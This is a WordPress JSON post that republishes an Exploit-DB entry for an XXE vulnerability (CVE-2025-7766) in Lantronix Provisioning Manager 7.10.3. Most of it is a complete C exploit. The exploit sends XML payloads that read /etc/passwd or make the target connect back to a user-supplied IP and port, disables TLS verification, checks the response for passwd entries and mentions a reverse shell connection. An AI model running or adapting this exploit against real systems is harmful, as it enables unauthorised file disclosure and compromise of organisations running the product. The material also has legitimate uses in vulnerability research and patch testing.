{"id":13325,"date":"2025-08-18T13:50:32","date_gmt":"2025-08-18T13:50:32","guid":{"rendered":"http:\/\/localhost\/?p=13325"},"modified":"2025-08-18T13:50:32","modified_gmt":"2025-08-18T13:50:32","slug":"lantronix-provisioning-manager-7103-xml-external-entity-injection-xxe","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=13325","title":{"rendered":"Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)_EDB-ID:52417"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-18T18:05:35&#8243;,&#8221;description&#8221;:&#8221;\/  * Exploit Title: Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-08-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52417&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-7766&#8243;],&#8221;sourceData&#8221;:&#8221;\/*\\r\\n * Exploit Title: Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)\\r\\n * Google Dork: N\/A\\r\\n * Date: 2025-08-17\\r\\n * Exploit Author: Byte Reaper\\r\\n * Vendor Homepage: https:\/\/www.lantronix.com\/\\r\\n * Software Link: https:\/\/www.lantronix.com\/products\/lantronix-provisioning-manager\/\\r\\n * Version: Provisioning Manager \u2264 7.10.3\\r\\n * Tested on: Kali Linux\\r\\n * CVE: CVE-2025-7766\\r\\n *\/\\r\\n\\r\\n\\r\\n#include\\u003cstdio.h\\u003e\\r\\n#include\\u003cstring.h\\u003e\\r\\n#include\\&#8221;argparse.h\\&#8221;\\r\\n#include\\u003ccurl\/curl.h\\u003e\\r\\n#include\\u003cstdlib.h\\u003e\\r\\n#include\\u003cunistd.h\\u003e\\r\\n#include \\u003carpa\/inet.h\\u003e\\r\\n#include \\u003csys\/socket.h\\u003e\\r\\n#define FULL_URL 3000\\r\\n#define SIZE_PAYLOAD 4000\\r\\nconst char *yourIp = NULL;\\r\\nconst char *url = NULL ;\\r\\nint yourPort = 0;\\r\\nint selecetCookie = 0;\\r\\nint verbose = 0;\\r\\nint loop = 0;\\r\\nint selectPayload = 0;\\r\\nconst char *yourPayload = NULL;\\r\\nchar full[FULL_URL];\\r\\nint requestPayload = 0;\\r\\nconst char *cookies = NULL;\\r\\n\\r\\nvoid exitSyscall()\\r\\n{\\r\\n    __asm__ volatile\\r\\n    (\\r\\n        \\&#8221;xor %%rdi, %%rdi\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;mov $0x3C, %%rax\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n        :\\r\\n        :\\r\\n        :\\&#8221;rax\\&#8221;, \\&#8221;rdi\\&#8221;\\r\\n    );\\r\\n}\\r\\nstruct Mem\\r\\n{\\r\\n    char *buffer;\\r\\n    size_t len;\\r\\n};\\r\\nsize_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)\\r\\n{\\r\\n    size_t total = size * nmemb;\\r\\n    struct Mem *m = (struct Mem *)userdata;\\r\\n    char *tmp = realloc(m-\\u003ebuffer, m-\\u003elen + total + 1);\\r\\n    if (tmp == NULL)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;31m[-] Failed to allocate memory!\\\\e[0m\\\\n\\&#8221;);\\r\\n        exitSyscall();\\r\\n    }\\r\\n    m-\\u003ebuffer = tmp;\\r\\n    memcpy(\\u0026(m-\\u003ebuffer[m-\\u003elen]), ptr, total);\\r\\n    m-\\u003elen += total;\\r\\n    m-\\u003ebuffer[m-\\u003elen] = &#8216;\\\\0&#8217;;\\r\\n    return total;\\r\\n}\\r\\n\\r\\nvoid xmlPost(const char *fullUrl, const char *yourIp, int yourPort)\\r\\n{\\r\\n    char payload[SIZE_PAYLOAD];\\r\\n    struct Mem response =\\r\\n    {\\r\\n        NULL,\\r\\n        0\\r\\n    };\\r\\n    if (selectPayload)\\r\\n    {\\r\\n        int s = snprintf(payload,sizeof(payload),yourPayload);\\r\\n        if (s \\u003c 0 || s \\u003e= sizeof(payload))\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[1;31m[-] Check len payload (yourPayload \\u003e= Size Payload) !\\\\e[0m\\\\n\\&#8221;);\\r\\n            exitSyscall();\\r\\n        }\\r\\n    }\\r\\n    if (requestPayload)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;37m[+] Payload Select : Send Request Payload\\\\e[0m\\\\n\\&#8221;);\\r\\n        printf(\\&#8221;\\\\e[1;34m[+] Please Check Server (python server, apache&#8230;)\\\\e[0m\\\\n\\&#8221;);\\r\\n\\r\\n        const char *payloadR =\\r\\n            \\&#8221;\\u003c?xml version=\\\\\\&#8221;1.0\\\\\\&#8221;?\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;\\u003c!DOCTYPE doc [\\\\n\\&#8221;\\r\\n            \\&#8221;  \\u003c!ENTITY xxe SYSTEM \\\\\\&#8221;http:\/\/%s:%d\/xxe.test\\\\\\&#8221;\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;]\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;\\u003cconfig\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;  \\u003cdoc\\u003e\\u0026xxe;\\u003c\/doc\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;\\u003c\/config\\u003e\\\\n\\&#8221;\\r\\n        ;\\r\\n        int r = snprintf(payload, sizeof(payload), payloadR, yourIp, yourPort);\\r\\n        if (r \\u003c 0 || r \\u003e= sizeof(payload))\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[1;31m[-] Error building payloadR\\\\n\\&#8221;);\\r\\n            exitSyscall();\\r\\n        }\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;37m[+] Payload Select : Read File : \/etc\/passwd !\\\\e[0m\\\\n\\&#8221;);\\r\\n        const char *autoPayload =\\r\\n            \\&#8221;\\u003c?xml version=\\\\\\&#8221;1.0\\\\\\&#8221;?\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;\\u003c!DOCTYPE doc [\\\\n\\&#8221;\\r\\n            \\&#8221;  \\u003c!ENTITY xxe SYSTEM \\\\\\&#8221;file:\/\/\/etc\/passwd\\\\\\&#8221;\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;]\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;\\u003cconfig\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;  \\u003cdoc\\u003e\\u0026xxe;\\u003c\/doc\\u003e\\\\n\\&#8221;\\r\\n            \\&#8221;\\u003c\/config\\u003e\\\\n\\&#8221;\\r\\n        ;\\r\\n        snprintf(payload,\\r\\n                 sizeof(payload),\\r\\n                 autoPayload);\\r\\n    }\\r\\n\\r\\n\\r\\n    CURL *curl = curl_easy_init();\\r\\n    if (curl == NULL)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;31m[-] Error Create Object Curl !\\\\e[0m\\\\n\\&#8221;);\\r\\n        exitSyscall();\\r\\n    }\\r\\n    response.buffer  = NULL;\\r\\n    response.len = 0;\\r\\n\\r\\n    if (verbose)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;35m==========================================\\\\e[0m\\\\n\\&#8221;);\\r\\n        printf(\\&#8221;[+] Cleaning Response&#8230;\\\\n\\&#8221;);\\r\\n        printf(\\&#8221;[+] Response Buffer : %s\\\\n\\&#8221;, response.buffer);\\r\\n        printf(\\&#8221;[+] Response Len : %zu\\\\n\\&#8221;, response.len);\\r\\n        printf(\\&#8221;\\\\e[1;35m==========================================\\\\e[0m\\\\n\\&#8221;);\\r\\n    }\\r\\n    CURLcode res;\\r\\n    if (curl)\\r\\n    {\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_URL,\\r\\n                         fullUrl);\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_POSTFIELDS,\\r\\n                         payload);\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_POSTFIELDSIZE,\\r\\n                         strlen(payload));\\r\\n\\r\\n        if (selecetCookie)\\r\\n        {\\r\\n            curl_easy_setopt(curl,\\r\\n                             CURLOPT_COOKIEFILE,\\r\\n                             cookies);\\r\\n            curl_easy_setopt(curl,\\r\\n                             CURLOPT_COOKIEJAR,\\r\\n                             cookies);\\r\\n\\r\\n        }\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_FOLLOWLOCATION,\\r\\n                         1L);\\r\\n        sleep(1);\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_WRITEFUNCTION,\\r\\n                         write_cb);\\r\\n        if (verbose)\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;[Verbose Curl]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\\\e[0m\\\\n\\&#8221;);\\r\\n            curl_easy_setopt(curl,\\r\\n                             CURLOPT_VERBOSE,\\r\\n                             1L);\\r\\n        }\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_WRITEDATA,\\r\\n                         \\u0026response);\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_CONNECTTIMEOUT,\\r\\n                         5L);\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_TIMEOUT,\\r\\n                         10L);\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_SSL_VERIFYPEER,\\r\\n                         0L);\\r\\n        curl_easy_setopt(curl,\\r\\n                         CURLOPT_SSL_VERIFYHOST,\\r\\n                         0L);\\r\\n        struct curl_slist *headers = NULL;\\r\\n        headers = curl_slist_append(headers,\\r\\n                                    \\&#8221;Accept-Language: en-US,en\\&#8221;);\\r\\n        headers = curl_slist_append(headers,\\r\\n                              \\&#8221;Connection: keep-alive\\&#8221;);\\r\\n        headers = curl_slist_append(headers,\\r\\n                                    \\&#8221;Referer: http:\/\/example.com\\&#8221;);\\r\\n        headers =curl_slist_append(headers,\\r\\n                                   \\&#8221;Content-Type: application\/xml\\&#8221;);\\r\\n         double totalTime;\\r\\n        res = curl_easy_perform(curl);\\r\\n        if (res == CURLE_OK)\\r\\n        {\\r\\n             curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, \\u0026totalTime);\\r\\n             printf(\\&#8221;\\\\e[1;32m[+] Delayed response : %f\\\\n\\&#8221;,  totalTime );\\r\\n             printf(\\&#8221;\\\\e[1;36m[+] Request sent successfully\\\\e[0m\\\\n\\&#8221;);\\r\\n             printf(\\&#8221;\\\\e[1;34m[+] Full URl : %s\\\\e[0m\\\\n\\&#8221;, full);\\r\\n             if (verbose)\\r\\n             {\\r\\n                 printf(\\&#8221;\\\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;[Payload Data]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\\\e[0m\\\\n\\&#8221;);\\r\\n                 printf(\\&#8221;[+] Post data : %s\\\\n\\&#8221;, payload);\\r\\n                 printf(\\&#8221;\\\\e[1;35m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\\\e[0m\\\\n\\&#8221;);\\r\\n             }\\r\\n             long httpCode= 0 ;\\r\\n             curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, \\u0026httpCode);\\r\\n             if (httpCode \\u003e= 200 \\u0026\\u0026 httpCode \\u003c 300)\\r\\n             {\\r\\n                 printf(\\&#8221;\\\\e[1;34m[+] Possible server vulnerability (CVE-2025-7766)!\\\\e[0m\\\\n\\&#8221;);                     printf(\\&#8221;\\\\e[1;34m[+] Please Check Reverse Shell Connection (port -\\u003e %d)\\\\e[0m\\\\n\\&#8221;, yourPort);\\r\\n                 printf(\\&#8221;[+] Http Code (200 \\u003c 300) !\\\\e[0m\\\\n\\&#8221;);\\r\\n                 printf(\\&#8221;\\\\e[1;32m[+] Http Code : %ld\\\\e[0m\\\\n\\&#8221;, httpCode);\\r\\n                 printf(\\&#8221;\\\\e[1;35m====================================[Response]====================================\\\\e[0m\\\\n\\&#8221;);\\r\\n                 printf(\\&#8221;%s\\\\n\\&#8221;, response.buffer);\\r\\n                 printf(\\&#8221;\\\\e[1;32m[+] Response Len : %zu\\\\e[0m\\\\n\\&#8221;, response.len);\\r\\n                 printf(\\&#8221;\\\\e[1;35m===================================================================================\\\\e[0m\\\\n\\\\n\\&#8221;);\\r\\n                 const char *keywords[] =\\r\\n                 {\\r\\n                     \\&#8221;root:x:0:0\\&#8221;,\\r\\n                     \\&#8221;:\/bin\/bash\\&#8221;,\\r\\n                     \\&#8221;:\/home\/\\&#8221;,\\r\\n                     \\&#8221;daemon:x:\\&#8221;,\\r\\n                     \\&#8221;nobody:x:\\&#8221;,\\r\\n                     \\&#8221;:x:1000:\\&#8221;,\\r\\n                     \\&#8221;\/usr\/sbin\/nologin\\&#8221;,\\r\\n                     \\&#8221;sys:x:\\&#8221;,\\r\\n                     \\&#8221;bin:x:\\&#8221;,\\r\\n                     \\&#8221;mail:x:\\&#8221;\\r\\n                 };\\r\\n                 printf(\\&#8221;\\\\e[1;34m[+] Check keyword On Response&#8230;\\\\e[0m\\\\n\\&#8221;);\\r\\n                 int numberKeyword = sizeof(keywords) \/ sizeof(keywords[0]);\\r\\n                 int found = 0;\\r\\n                 for (int f = 0; f \\u003c numberKeyword; f++)\\r\\n                 {\\r\\n                     if (strstr(response.buffer,keywords[f]) != NULL)\\r\\n                     {\\r\\n                         printf(\\&#8221;\\\\e[1;33m[+] Keyword Found In response : %s\\\\e[0m\\\\n\\&#8221;, keywords[f]);\\r\\n                         found = 1;\\r\\n                     }\\r\\n                     else\\r\\n                     {\\r\\n                         found = 0;\\r\\n                     }\\r\\n                 }\\r\\n                 if (found)\\r\\n                 {\\r\\n                     printf(\\&#8221;\\\\e[1;36m[+] The server suffers from a vulnerability CVE-2025-7766.\\\\e[0m\\\\n\\&#8221;);\\r\\n                 }\\r\\n                 else\\r\\n                 {\\r\\n                     printf(\\&#8221;\\\\e[1;31m[-] Not Found Keyword In Response !\\\\e[0m\\\\n\\&#8221;);\\r\\n                 }\\r\\n             }\\r\\n             else\\r\\n             {\\r\\n                 printf(\\&#8221;\\\\e[1;31m[-] Http Code : %ld\\\\e[0m\\\\n\\&#8221;, httpCode);\\r\\n                 printf(\\&#8221;\\\\e[1;31m[-] Please Check Url (%s)!\\\\e[0m\\\\n\\&#8221;, fullUrl);\\r\\n                 if (verbose)\\r\\n                 {\\r\\n                     printf(\\&#8221;\\\\e[1;35m====================================[Response]====================================\\\\n\\&#8221;);\\r\\n                     printf(\\&#8221;%s\\\\n\\&#8221;, response.buffer);\\r\\n                     printf(\\&#8221;\\\\e[1;32m[+] Response Len : %zu\\\\e[0m\\\\n\\&#8221;, response.len);\\r\\n                     printf(\\&#8221;\\\\e[1;35m===================================================================================\\\\n\\\\n\\&#8221;);\\r\\n                 }\\r\\n            }\\r\\n            curl_slist_free_all(headers);\\r\\n            curl_easy_cleanup(curl);\\r\\n        }\\r\\n        else\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[1;31m[-] The request was not sent !\\\\e[0m\\\\n\\&#8221;);\\r\\n            printf(\\&#8221;\\\\e[1;31m[-] Error : %s\\\\e[0m\\\\n\\&#8221;, curl_easy_strerror(res));\\r\\n            if (verbose)\\r\\n            {\\r\\n                printf(\\&#8221;\\\\e[1;31m[-] Exit Syscall &#8230;\\\\e[0m\\\\n\\&#8221;);\\r\\n            }\\r\\n            curl_slist_free_all(headers);\\r\\n            curl_easy_cleanup(curl);\\r\\n            exitSyscall();\\r\\n        }\\r\\n    }\\r\\n    if (response.buffer)\\r\\n    {\\r\\n        free(response.buffer);\\r\\n        response.buffer = NULL;\\r\\n        response.len = 0;\\r\\n    }\\r\\n    curl_easy_cleanup(curl);\\r\\n}\\r\\n\\r\\nint main(int argc,\\r\\n         const char **argv)\\r\\n{\\r\\n    printf\\r\\n    (\\r\\n        \\&#8221;\\\\e[1;91m\\&#8221;\\r\\n        \\&#8221;\u2584\u2596\u2596\u2596\u2584\u2596  \u2584\u2596\u2584\u2596\u2584\u2596\u2584\u2596  \u2584\u2596\u2584\u2596\u2584\u2596\u2584\u2596\\\\n\\&#8221;\\r\\n        \\&#8221;\u258c \u258c\u258c\u2599\u2596\u2584\u2596\u2584\u258c\u259b\u258c\u2584\u258c\u2599\u2596\u2584\u2596 \u258c \u258c\u2599\u2596\u2599\u2596\\\\n\\&#8221;\\r\\n        \\&#8221;\u2599\u2596\u259a\u2598\u2599\u2596  \u2599\u2596\u2588\u258c\u2599\u2596\u2584\u258c   \u258c \u258c\u2599\u258c\u2599\u258c\\\\n\\&#8221;\\r\\n        \\&#8221;\\\\e[1;97m\\\\t      Byte Reaper\\\\e[0m\\\\n\\&#8221;\\r\\n    );\\r\\n    printf(\\&#8221;\\\\e[1;91m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\\\e[0m\\\\n\\&#8221;);\\r\\n    struct argparse_option options[] =\\r\\n    {\\r\\n        OPT_HELP(),\\r\\n        OPT_STRING(&#8216;u&#8217;,\\r\\n                   \\&#8221;url\\&#8221;,\\r\\n                   \\u0026url,\\r\\n                   \\&#8221;Target Url (full url)\\&#8221;),\\r\\n        OPT_STRING(&#8216;c&#8217;,\\r\\n                   \\&#8221;cookies\\&#8221;,\\r\\n                   \\u0026cookies,\\r\\n                   \\&#8221;cookies File\\&#8221;),\\r\\n        OPT_BOOLEAN(&#8216;v&#8217;,\\r\\n                    \\&#8221;verbose\\&#8221;,\\r\\n                    \\u0026verbose,\\r\\n                    \\&#8221;Verbose Mode\\&#8221;),\\r\\n        OPT_STRING(&#8216;i&#8217;,\\r\\n                    \\&#8221;ip\\&#8221;,\\r\\n                    \\u0026yourIp,\\r\\n                    \\&#8221;Enter Your IP (Send Requst, Localhost ip&#8230;)\\&#8221;),\\r\\n        OPT_INTEGER(&#8216;p&#8217;,\\r\\n                    \\&#8221;port\\&#8221;,\\r\\n                    \\u0026yourPort,\\r\\n                    \\&#8221;Enter Number Port (Http Request,Check Vuln&#8230;)\\&#8221;),\\r\\n        OPT_INTEGER(&#8216;l&#8217;,\\r\\n                    \\&#8221;loop\\&#8221;,\\r\\n                    \\u0026loop,\\r\\n                    \\&#8221;Number of times you send requests\\&#8221;),\\r\\n        OPT_STRING(&#8216;b&#8217;,\\r\\n                   \\&#8221;payload\\&#8221;,\\r\\n                   \\u0026yourPayload,\\r\\n                   \\&#8221;Enter Your Payload\\&#8221;),\\r\\n        OPT_BOOLEAN(&#8216;r&#8217;,\\r\\n                    \\&#8221;request\\&#8221;,\\r\\n                    \\u0026requestPayload,\\r\\n                    \\&#8221;Payload Send Request in Your Server \\&#8221;),\\r\\n\\r\\n\\r\\n\\r\\n         OPT_END(),\\r\\n    };\\r\\n    struct argparse argparse;\\r\\n    argparse_init(\\u0026argparse,\\r\\n                  options,\\r\\n                  NULL,\\r\\n                  0);\\r\\n\\r\\n    argparse_parse(\\u0026argparse,\\r\\n                   argc,\\r\\n                   argv);\\r\\n    if (!url ||\\r\\n        !yourIp ||\\r\\n        yourPort == 0)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;31m[-] Please Enter Target Url ,Your ip, port!\\\\e[0m\\\\n\\&#8221;);\\r\\n        printf(\\&#8221;\\\\e[1;31m[-] Ex : .\/exploit  -u https:\/\/ip:port\/path -i IP -p PORT\\\\e[0m\\\\n\\&#8221;);\\r\\n        printf(\\&#8221;\\\\e[1;31m[-] Exit syscall&#8230;\\\\e[0m\\\\n\\&#8221;);\\r\\n        exitSyscall();\\r\\n    }\\r\\n    strncpy(full, url, FULL_URL &#8211; 1);\\r\\n    full[FULL_URL &#8211; 1] = &#8216;\\\\0&#8217;;\\r\\n    in_addr_t value = inet_addr(yourIp);\\r\\n    if (value == INADDR_NONE)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;31m[-] Invalid Ip String !\\\\e[0m\\\\n\\&#8221;);\\r\\n        exitSyscall();\\r\\n    }\\r\\n    if (yourPort \\u003c 1 || yourPort \\u003e 65535)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;31m[-] Invalid Port, Exit&#8230;\\\\e[0m\\\\n\\&#8221;);\\r\\n        exitSyscall();\\r\\n    }\\r\\n    if (strncmp(full, \\&#8221;http:\/\/\\&#8221;, 7) != 0 \\u0026\\u0026\\r\\n        strncmp(full, \\&#8221;https:\/\/\\&#8221;, 8) != 0)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;31m[-] Invalid URL! Must start with http:\/\/ or https:\/\/\\\\e[0m\\\\n\\&#8221;);\\r\\n        exitSyscall();\\r\\n    }\\r\\n\\r\\n    if (verbose)\\r\\n    {\\r\\n\\r\\n        verbose = 1;\\r\\n    }\\r\\n    if (cookies)\\r\\n    {\\r\\n        selecetCookie = 1;\\r\\n    }\\r\\n\\r\\n    if (requestPayload)\\r\\n    {\\r\\n        requestPayload = 1;\\r\\n    }\\r\\n    if (loop)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[1;36m[+] Argument &#8211;loop Run &#8230;\\\\e[0m\\\\n\\&#8221;);\\r\\n        printf(\\&#8221;\\\\e[1;36m[+] Number Loop : %d\\\\e[0m\\\\n\\&#8221;, loop);\\r\\n        printf(\\&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\\\n\\&#8221;);\\r\\n        for (int o = 0; o \\u003c loop ; o++)\\r\\n        {\\r\\n            printf(\\&#8221;[%d]: \\\\n\\&#8221;, o);\\r\\n            xmlPost(full, yourIp,yourPort);\\r\\n            printf(\\&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\\\n\\&#8221;);\\r\\n        }\\r\\n    }\\r\\n    if (yourPayload)\\r\\n    {\\r\\n        selectPayload = 1;\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        xmlPost(full, yourIp,yourPort);\\r\\n    }\\r\\n    return 0;\\r\\n}&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52417&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.6,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:A\/AC:L\/AT:N\/PR:N\/UI:P\/VC:H\/SC:L\/VI:H\/SI:L\/VA:H\/SA:L&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52417&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-18T18:05:35&#8243;,&#8221;description&#8221;:&#8221;\/ * Exploit Title: Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-08-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52417&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-7766&#8243;],&#8221;sourceData&#8221;:&#8221;\/*\\r\\n *&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,40,15,13,7,11,5],"class_list":["post-13325","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)_EDB-ID:52417 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=13325\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)_EDB-ID:52417 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-18T18:05:35&#8243;,&#8221;description&#8221;:&#8221;\/ * Exploit Title: Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-08-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Lantronix Provisioning Manager 7.10.3 &#8211; XML External Entity Injection (XXE)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52417&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-7766&#8243;],&#8221;sourceData&#8221;:&#8221;\/*rn *...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=13325\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-18T13:50:32+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" 